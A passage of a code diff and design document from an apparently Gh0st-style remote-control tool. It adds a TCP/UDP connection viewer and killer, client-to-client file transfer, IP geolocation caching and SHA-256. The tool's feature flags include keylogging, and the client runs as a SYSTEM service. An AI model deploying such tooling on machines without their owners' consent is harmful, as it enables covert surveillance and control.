uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
uint16_t remotePort; // 主机字节序,同上 [2]
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
}; // 合计 110
#pragma pack(pop)
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be exactly 110 bytes");
#pragma pack(push, 1)
struct SignatureResp {
char msg[64];
@@ -819,7 +871,8 @@ public:
char installDir[32]; // 安装目录
char installName[32]; // 安装名称
char installDesc[136];// 安装描述
char szFututre[500]; // 保留字段
int installFlag; // 安装标记
char szFututre[496]; // 保留字段
public:
void SetType(int typ)
@@ -1029,6 +1082,7 @@ enum LOGIN_RES {
RES_CLIENT_ID = 16, // 客户端唯一ID
RES_PID = 17, // 进程ID
RES_FILESIZE = 18, // 文件大小
RES_TLS = 19, // TLS 传输启用标志 0/1
RES_MAX,
};
@@ -1059,6 +1113,11 @@ typedef struct LOGIN_INFOR {
unsigned int caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
#ifdef _WIN32
caps |= CLIENT_CAP_SCREEN_PREVIEW;
caps |= CLIENT_CAP_C2C_PATHS;
#elif defined(__linux__) && !defined(__ANDROID__)
// Linux 客户端作为 C2C 目标端时会回执落盘结果(common/FileTransferV2.h)。
// macOS 暂未接线(无全局主连接句柄),不声明——服务端就不会为它空等回执。
caps |= CLIENT_CAP_C2C_RECV_ACK;
#endif
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, caps);
}
@@ -1181,7 +1240,9 @@ typedef struct MasterSettings {
char GetPluginUrl[80]; // Since 2026-04-08
char Authorized; // Since 2026-05-15
char IsTrail; // Since 2026-05-15
char Reserved[106]; // Since 2025-11-27
uint16_t TransferChunkKb; // Since 2026-10-07 文件传输速度 chunkKb(随登录配置下发)
uint16_t TransferDurationMs; // Since 2026-10-07 文件传输速度 durationMs(0=不限速)
char Reserved[102]; // Since 2025-11-27
} MasterSettings;
#pragma pack(pop)
@@ -1642,6 +1703,10 @@ typedef struct CharMsg {
}
} CharMsg;
#endif
// 客户端 -> 服务端的老式提示框消息(TOKEN_CLIENT_MSG)。原来定义在 _WIN32 区内,
// Linux 客户端自升级失败回报也要用,故移到公共区(strcpy_s 在非 Windows 下已 alias)。
typedef struct ClientMsg {
unsigned char cmd;
char title[31];
@@ -1664,4 +1729,3 @@ typedef struct ClientMsg {
}
} ClientMsg;
#endif
+1
View File
@@ -16,6 +16,7 @@
#define ENABLE_AUDIO_MNG TRUE // 语音管理
#define ENABLE_VIDEO_MNG TRUE // 视频管理
#define ENABLE_SERVICE_MNG TRUE // 服务管理
#define ENABLE_CONNECTION_MNG TRUE // 连接管理
#define ENABLE_REGISTRY TRUE // 注册表管理
#define ENABLE_KEYBOARD TRUE // 键盘记录
+29
View File
@@ -99,6 +99,34 @@ struct C2CPrepareRespPacket {
// char path[pathLength]; // UTF-8 目标目录
}; // 19 bytes + path
// C2C 路径清单发送请求(服务端 → 源客户端):让源客户端把指定路径(文件或目录)直接发给另一个客户端。
// 与 COMMAND_CLIPBOARD_V2 的区别是「路径由服务端指定」,而不是取源端剪贴板/资源管理器选中项。
// 字符串一律用 ANSI(936),与 CMD_DOWN_FILES_V2 一致:客户端用 A 版 API 访问文件系统。
struct C2CSendFilesPacket {
uint8_t cmd; // COMMAND_C2C_SEND_FILES = 174
uint64_t transferID; // 传输ID(服务端生成,结果包原样带回)
uint64_t srcClientID; // 源客户端(收包方)
uint64_t dstClientID; // 目标客户端(收包方即发送方,数据包里带上它)
char hash[64]; // 认证哈希(与上一级主控一致,目标端按自己的 m_hash 解密)
char hmac[16]; // HMAC
uint8_t flags; // 保留(bit0 = 断点续传,v1 恒 0,不启用)
// char targetDir[...]; '\0'; // 目标端保存目录(绝对路径,不以 '\' 结尾也可)
// char path1[...]; '\0'; ...; // 源端绝对路径(文件或目录),列表以空串结束:额外一个 '\0'
}; // 106 bytes + 字符串
// C2C 结果包:源客户端 → 服务端(TOKEN_C2C_SEND_RESULT,发送结果)
// 或 目标客户端 → 服务端(TOKEN_C2C_RECV_RESULT,落盘回执;win32err 位置放 errno,workerRc 恒 0)
struct C2CSendResultPacket {
uint8_t cmd; // TOKEN_C2C_SEND_RESULT = 175 / TOKEN_C2C_RECV_RESULT = 176
uint64_t transferID; // 对应请求的 transferID
uint64_t dstClientID; // 目标客户端
uint32_t status; // 0=已全部发送;FEV2_* 失败码;1001=发送线程失败(见 workerRc)
uint32_t win32err; // status=FEV2_FILE_NOT_FOUND/ACCESS_DENIED 时的首个 win32 码
int32_t workerRc; // FileBatchTransferWorkerV2 返回值(0=成功)
uint32_t fileCount; // 实际发出的文件数(不含目录项)
uint64_t totalBytes; // 实际发出的(回执里是实际落盘的)文件字节数
}; // 41 bytes(#pragma pack(1))
// V2 文件完成校验包
struct FileCompletePacketV2 {
uint8_t cmd; // COMMAND_FILE_COMPLETE_V2 = 91
@@ -130,6 +158,7 @@ enum FileErrorV2 : uint8_t {
FEV2_TRANSFER_CANCEL = 6, // 传输被取消
FEV2_CHECKSUM_ERROR = 7, // 校验和错误(块级CRC)
FEV2_HASH_MISMATCH = 8, // 哈希不匹配(文件级SHA-256)
FEV2_WRITE_FAILED = 9, // 接收端写盘失败(POSIX 端 errno 无法归类时用它,明细在 win32err)
};
// V2 续传查询包(发送方在传输前发送)
+12
View File
@@ -256,6 +256,18 @@ public:
}
};
// 文件传输速度:读取 [transfer] 节 ChunkKb / DurationMs,缺省 64KB/50ms(≈1.25MB/s),
// 并夹到安全范围。服务端(THIS_CFG)与客户端(iniFile(CLIENT_PATH))共用此逻辑,保证
// 各 InitFileUpload 调用点读到的档位一致(库按进程级引用计数只在首次设定速度,见
// docs/FileTransferSpeed_Design.md)。
inline void GetTransferSpeed(config& cfg, int& chunkKb, int& durMs)
{
chunkKb = cfg.GetInt("transfer", "ChunkKb", 64);
durMs = cfg.GetInt("transfer", "DurationMs", 50);
if (chunkKb <= 0 || chunkKb > 1024) chunkKb = 64;
if (durMs < 0 || durMs > 2000) durMs = 50;
}
// 配置读取类: 注册表配置(带键句柄缓存)
// 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃
class iniFile : public config
+25 -3
View File
@@ -4,6 +4,8 @@
#include <iphlpapi.h>
#include <ws2tcpip.h>
#include <WinInet.h>
#include <map>
#include <mutex>
#include "logger.h"
#include "jsoncpp/json.h"
@@ -200,6 +202,18 @@ public:
{
if (IP.empty()) return "";
// 进程级缓存(函数局部 static)。用局部 static 而非类成员,是为了不改动
// IPConverter 的类布局/尺寸——QQWry/Ip2Region 派生类来自预编译的
// PrivateDesktop_Lib.lib,改成员会与其产生 ABI 尺寸差异。
static std::map<std::string, std::string> geoCaches;
static std::mutex geoMutex;
{
std::lock_guard<std::mutex> lk(geoMutex);
auto it = geoCaches.find(IP);
if (it != geoCaches.end())
return it->second;
}
std::string ip = IP;
if (isLocalIP(ip)) {
ip = getPublicIP();
@@ -249,7 +263,13 @@ public:
InternetCloseHandle(hInternet);
if (location.empty() && IsPrivateIP(ip)) {
return "Local Area Network";
location = "Local Area Network";
}
// 只缓存成功结果;失败不缓存,允许下次重试。
if (!location.empty()) {
std::lock_guard<std::mutex> lk(geoMutex);
geoCaches[IP] = location;
}
return location;
}
@@ -308,8 +328,10 @@ private:
}
}
std::string city = Utf8ToAnsi(json[cityField].asString());
std::string country = Utf8ToAnsi(json[countryField].asString());
// 地理位置 API 返回 UTF-8;不再转 CP_ACP——那会把 ö/ä/ß 等变音符替换成 '?'。
// GetGeoLocation 现统一返回 UTF-8,消费方按需用 NormalizeLocationToUtf8 / SafeUtf8ToAnsi 转。
std::string city = json[cityField].asString();
std::string country = json[countryField].asString();
if (!city.empty() && !country.empty()) return city + ", " + country;
if (!city.empty()) return city;
+7 -1
View File
@@ -152,6 +152,12 @@ public:
id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
id + "[" + timestamp + "] " + message;
// 方案B:在源头统一保证每条日志以单个 '\n' 结尾,文件与内存 ring buffer
// 共用同一份文本;写文件时不再额外追加换行,内存导出直接拼接即可正确分行。
while (!logEntry.empty() && (logEntry.back() == '\n' || logEntry.back() == '\r'))
logEntry.pop_back();
logEntry += '\n';
// Always record to in-memory ring buffer regardless of enable flag.
{
std::lock_guard<std::mutex> lock(m_memMutex);
@@ -305,7 +311,7 @@ private:
std::lock_guard<std::mutex> lock(fileMutex);
std::ofstream logFile(logFileName, std::ios::app);
if (logFile.is_open()) {
logFile << logEntry << std::endl;
logFile << logEntry; // logEntry 已在 log() 中以单个 '\n' 结尾
}
}
+148
View File
@@ -0,0 +1,148 @@
/**
* sha256_posix.h - 最小实现 SHA-256(POSIX 侧)
*
* 为什么不用现成的:Windows 侧的 SHA-256 走 BCrypt(common/VerifyV2.h),
* Linux/macOS 没有 BCrypt,也没有 OpenSSL 依赖,而 V2 文件发送要向服务端
* 回报 FileCompletePacketV2.sha256,必须自己算。
*
* 只实现 FileTransferV2 需要的流式接口(update/final),不做别的事。
*/
#pragma once
#if defined(_WIN32) || defined(_WIN64)
#error "sha256_posix.h is POSIX-only; Windows uses BCrypt via VerifyV2.h."
#endif
#include <cstddef>
#include <cstdint>
#include <cstring>
class Sha256
{
public:
Sha256() { reset(); }
void reset()
{
static const uint32_t init[8] = {
0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,
0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19
};
memcpy(m_h, init, sizeof(m_h));
m_bufLen = 0;
m_totalLen = 0;
}
void update(const void* data, size_t len)
{
const uint8_t* p = (const uint8_t*)data;
m_totalLen += len;
if (m_bufLen > 0) {
size_t take = 64 - m_bufLen;
if (take > len) take = len;
memcpy(m_buf + m_bufLen, p, take);
m_bufLen += take;
p += take;
len -= take;
if (m_bufLen == 64) {
transform(m_buf);
m_bufLen = 0;
}
}
while (len >= 64) {
transform(p);
p += 64;
len -= 64;
}
if (len > 0) {
memcpy(m_buf, p, len);
m_bufLen = len;
}
}
// 输出 32 字节摘要;调用后对象可 reset() 复用(不自动 reset,避免隐式行为)
void final(uint8_t out[32])
{
uint64_t bitLen = m_totalLen * 8;
// 0x80 + 零填充 + 64 位长度,凑满整块
uint8_t pad[72];
memset(pad, 0, sizeof(pad));
pad[0] = 0x80;
size_t padLen = (m_bufLen < 56) ? (56 - m_bufLen) : (120 - m_bufLen);
update(pad, padLen);
uint8_t lenBytes[8];
for (int i = 0; i < 8; ++i) {
lenBytes[i] = (uint8_t)(bitLen >> (56 - 8 * i));
}
update(lenBytes, sizeof(lenBytes));
for (int i = 0; i < 8; ++i) {
out[4 * i] = (uint8_t)(m_h[i] >> 24);
out[4 * i + 1] = (uint8_t)(m_h[i] >> 16);
out[4 * i + 2] = (uint8_t)(m_h[i] >> 8);
out[4 * i + 3] = (uint8_t)(m_h[i]);
}
}
static void hash(const void* data, size_t len, uint8_t out[32])
{
Sha256 s;
s.update(data, len);
s.final(out);
}
private:
static uint32_t rotr(uint32_t x, int n) { return (x >> n) | (x << (32 - n)); }
void transform(const uint8_t block[64])
{
static const uint32_t K[64] = {
0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
};
uint32_t w[64];
for (int i = 0; i < 16; ++i) {
w[i] = ((uint32_t)block[4 * i] << 24) | ((uint32_t)block[4 * i + 1] << 16) |
((uint32_t)block[4 * i + 2] << 8) | (uint32_t)block[4 * i + 3];
}
for (int i = 16; i < 64; ++i) {
uint32_t s0 = rotr(w[i - 15], 7) ^ rotr(w[i - 15], 18) ^ (w[i - 15] >> 3);
uint32_t s1 = rotr(w[i - 2], 17) ^ rotr(w[i - 2], 19) ^ (w[i - 2] >> 10);
w[i] = w[i - 16] + s0 + w[i - 7] + s1;
}
uint32_t a = m_h[0], b = m_h[1], c = m_h[2], d = m_h[3];
uint32_t e = m_h[4], f = m_h[5], g = m_h[6], h = m_h[7];
for (int i = 0; i < 64; ++i) {
uint32_t S1 = rotr(e, 6) ^ rotr(e, 11) ^ rotr(e, 25);
uint32_t ch = (e & f) ^ (~e & g);
uint32_t t1 = h + S1 + ch + K[i] + w[i];
uint32_t S0 = rotr(a, 2) ^ rotr(a, 13) ^ rotr(a, 22);
uint32_t maj = (a & b) ^ (a & c) ^ (b & c);
uint32_t t2 = S0 + maj;
h = g; g = f; f = e; e = d + t1;
d = c; c = b; b = a; a = t1 + t2;
}
m_h[0] += a; m_h[1] += b; m_h[2] += c; m_h[3] += d;
m_h[4] += e; m_h[5] += f; m_h[6] += g; m_h[7] += h;
}
uint32_t m_h[8];
uint8_t m_buf[64];
size_t m_bufLen;
uint64_t m_totalLen;
};
+259
View File
@@ -0,0 +1,259 @@
# TCP/UDP 连接管理设计
> 版本:v1.1(已实现并评审) · 状态:**已施工,含字节序修正** · 日期:2026-10-04
> 目标:在 YAMA 服务端新增「连接管理」,实时展示受管主机当前的 TCP/UDP 连接,
> 并支持对选中的连接强制断开。这是服务管理、进程管理之外又一项「观测 + 管控」类功能。
>
> 需求原文(三点,逐一对应下文):
> 1. YAMA 工具栏增加一个图标,**唯有 MCP 后面**,通过这个图标打开连接管理对话框;
> 2. 客户端需要增加一个管理类来处理服务端请求;
> 3. 服务端有一个对话框类展示连接信息,支持右键菜单对选中的连接强制断开。
## 1. 目标与范围
### MVP
| 项 | 说明 |
|---|---|
| 工具栏入口 | `IDR_TOOLBAR_MAIN` 在 `ID_MCP_SETTINGS` 之后追加 `ID_CONNECTION_MANAGE` 按钮(第 17 个),点击向选中主机发 `COMMAND_CONNECTION` |
| 客户端管理类 | 新增 `CConnectionsManager : public CManager`,枚举本机 TCP/UDP 连接并回传,处理「刷新 / 强制断开」两条服务端命令 |
| 服务端对话框 | 新增 `CConnectionsDlg : public DialogBase`,表格展示连接,右键菜单「强制断开」发 `COMMAND_KILL_CONNECTION` |
### 非目标(Non-goals,本次不做)
- 不做 **UDP / IPv6 TCP 的强制断开**(无公开 API,见 §6),仅 IPv4 TCP 可断开,其余行只读展示。
- 不做「按进程批量断开」「按 PID 过滤」「连接历史/趋势图」。
- 不做 Linux/Mac/Android 客户端连接枚举(沿用 Windows 客户端先行的惯例)。
- 不改 MCP 工具集(`list_network_connections` 属于 P8 路线图,本设计只做 MFC 图形界面)。
## 2. 复用现状
本功能与「服务管理」端到端同构,直接以其为实现模板(`ServicesManager` / `ServicesDlg`)。
### 客户端模板(读参考实现,全部已核实)
- 命令分发:`client/KernelManager.cpp` `OnReceive` 的 `case COMMAND_SERVICES:`(约 1346 行):
```
{ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth();
m_hThread[m_ulThreadCount].p = sub; }
m_hThread[m_ulThreadCount++].h =
__CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
```
连接管理照抄,仅换 `LoopConnectionManager`。
- 子连接线程模板:`client/Common.cpp:33` `LoopManager<Manager, n>`(`Manager m(ClientObject, n, user)` 构造即发首包,随后跑 `RunEventLoop` 分发到 `Manager::OnReceive`);`LoopServicesManager = LoopManager<CServicesManager, 0>`。
- 管理类基类:`client/Manager.h` `CManager`(`OnReceive` 虚函数、`m_ClientObject`、`Send/SendData`、子连接生命周期)。
- 管理类实例:`client/ServicesManager.cpp`——构造即 `SendServicesList()`(17 行);`SendServicesList()` 里用
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);`(36–37 行)回传;`OnReceive` 里 `case COMMAND_SERVICELIST`(刷新)→ 重发、`case COMMAND_SERVICECONFIG`(动作)→ 执行后再重发(199–231 行)。
- 编译开关:`client/ServicesManager.h:13` `#if ENABLE_SERVICE_MNG==0 #define CServicesManager CManager` 的空实现占位模式;开关定义在 `common/config.h`(`ENABLE_SERVICE_MNG TRUE`)。
### 服务端模板(读参考实现,全部已核实)
- 对话框基类:`server/2015Remote/IOCPServer.h:158` `DialogBase`(`OnInitDialog` 建列 + 解析缓冲,`OnReceiveComplete` 按 token 分发,`OnNMRClickList` 右键菜单,`OnClose`→`CancelIO`)。
- 对话框实例:`server/2015Remote/ServicesDlg.cpp`——构造 `DialogBase(CServicesDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)`(24 行);`OnInitDialog` 里 `InsertColumnL` 建列 + `ShowServicesList()`(67–73 行);`OnNMRClickList` 里 `LoadMenu(IDR_MENU_SERVICES)` + `TrackPopupMenu`(216–226 行);`OnReceiveComplete` 里 `case TOKEN_SERVERLIST: ShowServicesList()`(231–235 行)。
- 打开对话框模板:`server/2015Remote/2015RemoteDlg.h:182` `OpenDialog<T, id, Show>`。
- 命令发送:`OnOnlineServerManager()`(`2015RemoteDlg.cpp:4758`):`BYTE bToken = COMMAND_SERVICES; SendSelectedCommand(&bToken, sizeof(BYTE));`。
- token 路由:`2015RemoteDlg.cpp:6609` `case TOKEN_SERVERLIST:` → `g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);`。
- 消息注册/处理:`ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)`(903 行)→ `OnOpenServicesDialog`(7811 行)→ `OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>`。
### 工具栏(读参考,全部已核实)
- 资源:`2015Remote.rc:1806` `IDR_TOOLBAR_MAIN TOOLBAR 48, 48`,现有 16 个 `BUTTON`,末尾为 `BUTTON ID_CHANGE_LANG`(1822 行)、`BUTTON ID_MCP_SETTINGS`(1823 行)。
- 真彩位图条:`IDB_BITMAP_MAIN`(133) → `res\ToolBar_Main.bmp`(**768×48 = 16 个 48×48 图标**,24 位),
`LoadTrueColorToolBar(48, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN)`(`2015RemoteDlg.cpp:1390`)
按 `nNbBtn = bmWidth/48` 建图像列表(`TrueColorToolBar.cpp` `SetTrueColorToolBar`),因此**新增第 17 个按钮必须同步把位图条加宽为 816×48 并补第 17 个图标**。
- 按钮文字:`SetButtonText(0..15)`(`2015RemoteDlg.cpp:1405–1420`),`SetButtonText(15, _T("MCP"))` 为当前最后一个。
- 全隐藏判定:`if (hiddenCount >= 16)`(1471 行)→ **无需改动**。该计数只统计「可隐藏功能按钮」
(终端/进程/窗口/桌面/文件/语音/视频/服务/注册表/键盘/设置/生成/搜索/关于,共 14 个),
`ID_CHANGE_LANG`、`ID_MCP_SETTINGS` 本就不在隐藏清单内;新增的连接按钮同样不参与隐藏,
`hiddenCount` 语义不变。
- 命令处理:`ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)`(993 行)→ 参照加 `ID_CONNECTION_MANAGE`。
### 网络 API(客户端,新增依赖)
- 枚举:`GetExtendedTcpTable(TCP_TABLE_OWNER_PID_ALL, ...)` + `MIB_TCPTABLE_OWNER_PID`;
同理 `GetExtendedUdpTable(UDP_TABLE_OWNER_PID)`;IPv6 用 `AF_INET6` 版本(`MIB_TCP6TABLE_OWNER_PID` / `MIB_UDP6TABLE_OWNER_PID`)。
- 断开:`SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(12)。
- 链接:`iphlpapi.lib`(用 `#pragma comment(lib, "iphlpapi.lib")` 内联,与代码库既有 `#pragma comment(lib, ...)` 风格一致,避免改 vcxproj)。
## 3. 协议与数据结构
### 3.1 新命令(`common/commands.h`,追加在 `CMD_FILE_SPEED = 252` 之后,均 ≤ 255 满足单字节 token)
```
COMMAND_CONNECTION = 253, // 服务端 → 客户端:查询/刷新连接列表(打开连接管理)
COMMAND_KILL_CONNECTION = 254, // 服务端 → 客户端:强制断开指定连接
TOKEN_CONNECTION_LIST = 255, // 客户端 → 服务端:连接列表响应
```
### 3.2 单条连接记录(客户端 → 服务端,固定 110 字节,小端)
```c
#pragma pack(push, 1)
struct ConnectionInfo {
uint8_t proto; // 1=TCP, 2=UDP [1]
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
uint32_t pid; // 所属进程 PID [4]
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
uint16_t localPort; // 主机字节序(小端,ntohs 转换后) [2]
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
uint16_t remotePort; // 主机字节序,同上 [2]
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
}; // 合计 110
#pragma pack(pop)
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be 110 bytes");
```
> **字节序约定(评审后修正)**:字段不能「原样 memcpy」iphlpapi 的结构成员。`dwLocalAddr`/`dwRemoteAddr`
> 是**网络序 DWORD**(值 `0xC0A80101` 即 `192.168.1.1`),客户端展开为 16 字节字段前 4 字节的**网络序字节**
> (`[0xC0,0xA8,0x01,0x01]`),服务端 `inet_ntop` 可直接展示、排序键也按数值序;`dwLocalPort`/`dwRemotePort`
> 低 16 位为**网络序**,客户端用 `ntohs` 转**主机序**再存入。断连时反向还原(地址拼回 DWORD、端口 `htons`)。
> 地址统一 16 字节字段承载,IPv4/IPv6 用同一个结构,避免两套记录。
### 3.3 列表响应(客户端 → 服务端)
```
[TOKEN_CONNECTION_LIST:1][count:2][ConnectionInfo:110] * count
```
- `count` 为 `uint16_t` 小端,上限 65535(枚举超限则截断,实际主机连接数远低于此)。
- 列表 >1460 字节会走 HTTP 分片;服务端 `HeaderParser::Parse` 的 `m_bShouldUnmask` 分片 bug
已在 `a72e6eb` 修复,续包可正常到达(与进程/服务列表一致)。
### 3.4 强制断开请求(服务端 → 客户端)
```
[COMMAND_KILL_CONNECTION:1][ConnectionInfo:110]
```
- 客户端校验 `proto==1 && af==2` 才执行(仅 IPv4 TCP),否则忽略并在回包列表中保留该行。
## 4. 客户端实现
新增 `client/ConnectionsManager.{h,cpp}`,镜像 `CServicesManager`:
- 类声明(`ConnectionsManager.h`):
```cpp
#if ENABLE_CONNECTION_MNG==0
#define CConnectionsManager CManager
#else
class CConnectionsManager : public CManager {
public:
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CConnectionsManager();
VOID SendConnectionList(); // 枚举并回传
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void KillConnection(const ConnectionInfo& info);
};
#endif
```
- `SendConnectionList()`:
1. 依次 `GetExtendedTcpTable`(AF_INET / AF_INET6)+ `GetExtendedUdpTable`(AF_INET / AF_INET6),
汇总到 `std::vector<ConnectionInfo>`;IPv4 地址展开为网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序。
2. 每个 PID 用 `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + `GetModuleBaseNameW` 取映像名,
转 UTF-8 写入 `procName[64]`;失败/PID 0 填 `"<unknown>"`(进程可能已退出,端点仍有效)。
3. 组包 `[TOKEN_CONNECTION_LIST:1][count:2][records...]`,用
`HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server(...);` 回传。
- `OnReceive()`:
- `case COMMAND_CONNECTION:` → `SendConnectionList()`(刷新)。
- `case COMMAND_KILL_CONNECTION:` → 校验长度 ≥ 111,读 `ConnectionInfo`,`KillConnection()`,再 `SendConnectionList()`。
- `KillConnection()`:仅 `proto==TCP && af==AF_INET`;组 `MIB_TCPROW`(`dwState=MIB_TCP_STATE_DELETE_TCB`),
地址由网络序字节拼回 DWORD(`GetAddr4`)、端口 `htons` 转回网络序,`SetTcpEntry(&row)`。
- 编译:`common/config.h` 增 `#define ENABLE_CONNECTION_MNG TRUE`(`// 连接管理`)。
- 分发(`client/KernelManager.cpp`):在 `case COMMAND_SERVICES:` 后加
```
case COMMAND_CONNECTION: {
if (!ENABLE_CONNECTION_MNG) return ResponseDisable(...);
{ auto* sub = new IOCPClient(...); sub->EnableSubConnAuth(); ...; }
m_hThread[m_ulThreadCount++].h = __CreateThread(..., LoopConnectionManager, ...);
break;
}
```
- 线程注册(`client/Common.cpp` / `Common.h`):`#define LoopConnectionManager LoopManager<CConnectionsManager, 0>`。
## 5. 服务端实现
新增 `server/2015Remote/ConnectionsDlg.{h,cpp}`,镜像 `CServicesDlg`:
- `CConnectionsDlg(CWnd*, Server*, CONTEXT_OBJECT*) : DialogBase(IDD_DIALOG_CONNECTIONS, pParent, IOCPServer, ContextObject, IDI_CONNECTION)`。
- `OnInitDialog`:`InsertColumnL` 建列 `协议 | 本地地址 | 本地端口 | 远端地址 | 远端端口 | 状态 | PID | 进程名`(8 列),调 `ShowConnectionList()`。
- `ShowConnectionList()`:解析 `m_ContextObject->InDeCompressedBuffer`(`[token:1][count:2][records...]`)填表,
每条 `SetItemData` 存行内偏移(或直接把 `ConnectionInfo` 存进项关联数据),供右键断连取回记录。
- `OnReceiveComplete()`:`case TOKEN_CONNECTION_LIST: ShowConnectionList()`。
- `OnNMRClickList()`:用 `pNMItemActivate->iItem` 取**鼠标右键所在行**(而非仅依赖已选中行),
由该行 `SetItemData` 里存的 `ConnectionInfo` 拿回记录;`LoadMenu(IDR_MENU_CONNECTIONS)` →
`TrackPopupMenu`;菜单项「强制断开」(`ID_CONNECTION_KILL`)对**仅 IPv4 TCP 行可用**,发
`[COMMAND_KILL_CONNECTION:1][record:110]`;UDP/IPv6 行禁用该菜单项(`MF_GRAYED`)。
- 对话框标题栏图标 `IDI_CONNECTION`(`.ico`,`DialogBase` 构造第 5 参)与工具栏位图条第 17 个
48×48 图标是两回事:前者复用现有图标(如 `IDI_SERVICE`)或新增一个 `.ico`;后者编辑
`ToolBar_Main.bmp` 补第 17 格(见下)。
- 提供刷新(补发 `COMMAND_CONNECTION`)与 `OnClose`→`CancelIO()`。
工具栏 / 消息路由(`2015RemoteDlg.{h,cpp}` + `Resource.h` + `.rc`):
- `Resource.h`:`IDD_DIALOG_CONNECTIONS 404`、`IDR_MENU_CONNECTIONS 405`、`IDI_CONNECTION`(新图标 ID)、
`ID_CONNECTION_MANAGE 33086`(`_APS_NEXT_COMMAND_VALUE` 现为 33086,用后 +2)、`ID_CONNECTION_KILL`;
同步上调 `_APS_NEXT_RESOURCE_VALUE`/`_APS_NEXT_COMMAND_VALUE`。
- `.rc`(UTF-16LE,Node 脚本改):`IDR_TOOLBAR_MAIN` 末尾加 `BUTTON ID_CONNECTION_MANAGE`;
新增 `IDD_DIALOG_CONNECTIONS` 对话框与 `IDR_MENU_CONNECTIONS` 菜单。
- `res\ToolBar_Main.bmp`:**加宽为 816×48,补第 17 个 48×48「连接」图标**(实现时用脚本合成一个
双节点/插头样式图标插入条尾;图标观感属评审项)。
- `2015RemoteDlg.cpp`:
- `SetButtonText(16, _TR("连接管理"))`(1420 行后)。
- `hiddenCount >= 16`(1471 行)**无需改动**(连接按钮不参与隐藏,理由见 §2)。
- `ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)`(993 行后)。
- `OnConnectionManage()`:`BYTE bToken = COMMAND_CONNECTION; SendSelectedCommand(&bToken, sizeof(BYTE));`。
- `MessageHandle` 加 `case TOKEN_CONNECTION_LIST:` → `SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject)`(6609 行后)。
- `ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)` + `OnOpenConnectionDialog` →
`OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam)`。
- `stdafx.h`:`#define WM_OPENCONNECTIONDIALOG WM_USER + 3045`(现最高占用 `WM_USER+3044`,已核实无冲突)。
- 语言:`lang/en_US.ini` / `zh_TW.ini`(GBK,Python 改)补「连接管理 / 强制断开 / 8 列表头」文案。
## 6. 强制断开的实现与限制
- **仅 IPv4 TCP** 用 `SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`(公开 API 唯一支持)。
- **重构 `MIB_TCPROW` 要点**:`dwState=12`;`dwLocalAddr/dwRemoteAddr` 由 16 字节字段前 4 字节的
网络序字节拼回网络序 DWORD(`GetAddr4`);`dwLocalPort/dwRemotePort` 由主机序 `htons` 转回网络序。
- **UDP**:无「按端点关闭 socket」的公开 API,MVP 只读展示(菜单置灰)。
- **IPv6 TCP**:`SetTcpEntry` 的 `MIB_TCPROW` 为 IPv4 结构,无公开的 IPv6 对应删除 API,MVP 只读展示。
- **权限**:`SetTcpEntry` 需管理员/足够权限;YAMA 客户端通常以服务(SYSTEM)运行,满足。若非提权,
